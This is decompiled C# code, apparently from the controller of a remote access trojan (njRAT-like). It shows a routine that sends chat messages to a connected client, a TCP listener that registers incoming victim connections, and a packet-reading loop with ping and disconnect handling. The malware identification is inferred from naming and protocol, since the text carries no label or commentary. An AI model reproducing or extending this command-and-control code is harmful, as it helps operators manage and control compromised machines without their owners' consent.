// Token: 0x0600034D RID: 845 RVA: 0x00021108 File Offset: 0x0001F308 private void T2_KeyDown(object sender, KeyEventArgs e) { if (e.KeyCode == Keys.Return) { e.SuppressKeyPress = true; if (Operators.CompareString(this.T2.Text, "", false) == 0) { return; } lock (this) { this.T1.SelectionStart = this.T1.TextLength; this.T1.SelectionFont = new Font(this.T1.Font, FontStyle.Bold); this.T1.SelectionColor = Color.RoyalBlue; this.T1.AppendText(Fungsi.HM() + " " + this.hk + " : "); this.T1.SelectionFont = this.T1.Font; this.T1.SelectionStart = this.T1.TextLength; this.T1.SelectionColor = Color.WhiteSmoke; this.T1.AppendText(this.T2.Text + "\r\n"); this.T1.ScrollToCaret(); TextBox t = this.T2; string text = t.Text; t.Text = text; this.sk.Send("!" + ima.Y + Fungsi.ENB(ref text)); this.T2.Text = ""; return; } } this.T2.Select(); }
// Token: 0x0600099A RID: 2458 RVA: 0x00053964 File Offset: 0x00051B64 public void pnd() { while (true) { try { Client client = new Client(this.S.AcceptTcpClient()); client.Client.ReceiveTimeout = -1; client.Client.SendTimeout = -1; Collection online = this.Online2; Collection obj = online; lock (obj) { online.Add(client, client.ip(), null, null); } if (ima.F.SLGS3.Checked) { ima.F.Pp1.WRT(new object[] { Color.WhiteSmoke, Fungsi.HM(), Resources._244, client.ip(), Color.YellowGreen, "Connected" }); } } catch (Exception expr_BB) { ProjectData.SetProjectError(expr_BB); ProjectData.ClearProjectError(); } } }
// Token: 0x0600099B RID: 2459 RVA: 0x00053A5C File Offset: 0x00051C5C private void READ(int id) { checked { while (true) { if (this.IT[id] == null) { Thread.Sleep(1); } else { Client client = this.IT[id]; if (!this.OFF && client.CN) { try { if (!client.Client.Connected) { goto IL_396; } if (!client.IsPNGED) { if (client.Ping > 1200) { client.IsPNGED = true; client.Ping = 0; if (!client.Send("P")) { goto IL_396; } } } else if (client.Ping > 3000) { goto IL_396; } if (client.Client.Available > 0) { byte[] array = new byte[client.Client.Available - 1 + 1 - 1 + 1]; client.Client.Client.Receive(array, 0, array.Length, SocketFlags.None); ima.RC = array.Length; ima.RC2 += array.Length; client.M.Write(array, 0, array.Length); while (true) { byte[] array2 = client.M.ToArray(); if (!Fungsi.BS(ref array2).Contains(this.SPL)) { goto IL_2D3; } Array array3 = this.fx(client.M.ToArray()); byte[] array4 = (byte[])NewLateBinding.LateIndexGet(array3, new object[] { 0 }, null); NewLateBinding.LateIndexSetComplex(array3, new object[] { 0, array4 }, null, true, false); if (Operators.CompareString(Fungsi.BS(ref array4), "P", false) == 0) { if (client.L == null) { break; } object[] array5 = new object[2]; array5[0] = client; object[] arg_1C1_0 = array5; int arg_1C1_1 = 1; string text = "P" + ima.Y + Conversions.ToString(client.Ping); arg_1C1_0[arg_1C1_1] = Fungsi.SB(ref text); ima.Req(array5); client.IsPNGED = false; client.Ping = 0; } else { ima.Req(new object[] { client, RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(array3, new object[] { 0 }, null)))) }); } client.M.Dispose(); client.M = new MemoryStream(); if (array3.Length != 2) { goto IL_2D3; } client.M.Write((byte[])NewLateBinding.LateIndexGet(array3, new object[] { 1 }, null), 0, Conversions.ToInteger(RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(array3, new object[] { 1 }, null)), null, "length", new object[0], null, null, null)))); } goto IL_396; IL_2D3 :; } } catch (Exception expr_2D5) { ProjectData.SetProjectError(expr_2D5); Exception projectError = expr_2D5; ProjectData.SetProjectError(projectError); ProjectData.ClearProjectError(); ProjectData.ClearProjectError(); goto IL_396; } client.Buzy = false; this.IT[id] = null; continue; } IL_396: client.T.Enabled = false; client.T.Dispose(); client.CN = false; List <Client> disconnect = this.Disconnect2; List <Client> obj = disconnect; lock (obj) { disconnect.Add(client); } this.IT[id] = null; if (ima.F.SLGS3.Checked) { ima.F.Pp1.WRT(new object[] { Color.WhiteSmoke, Fungsi.HM(), Resources._245, client.ip(), Color.Red, "Disconnected " }); } } } } }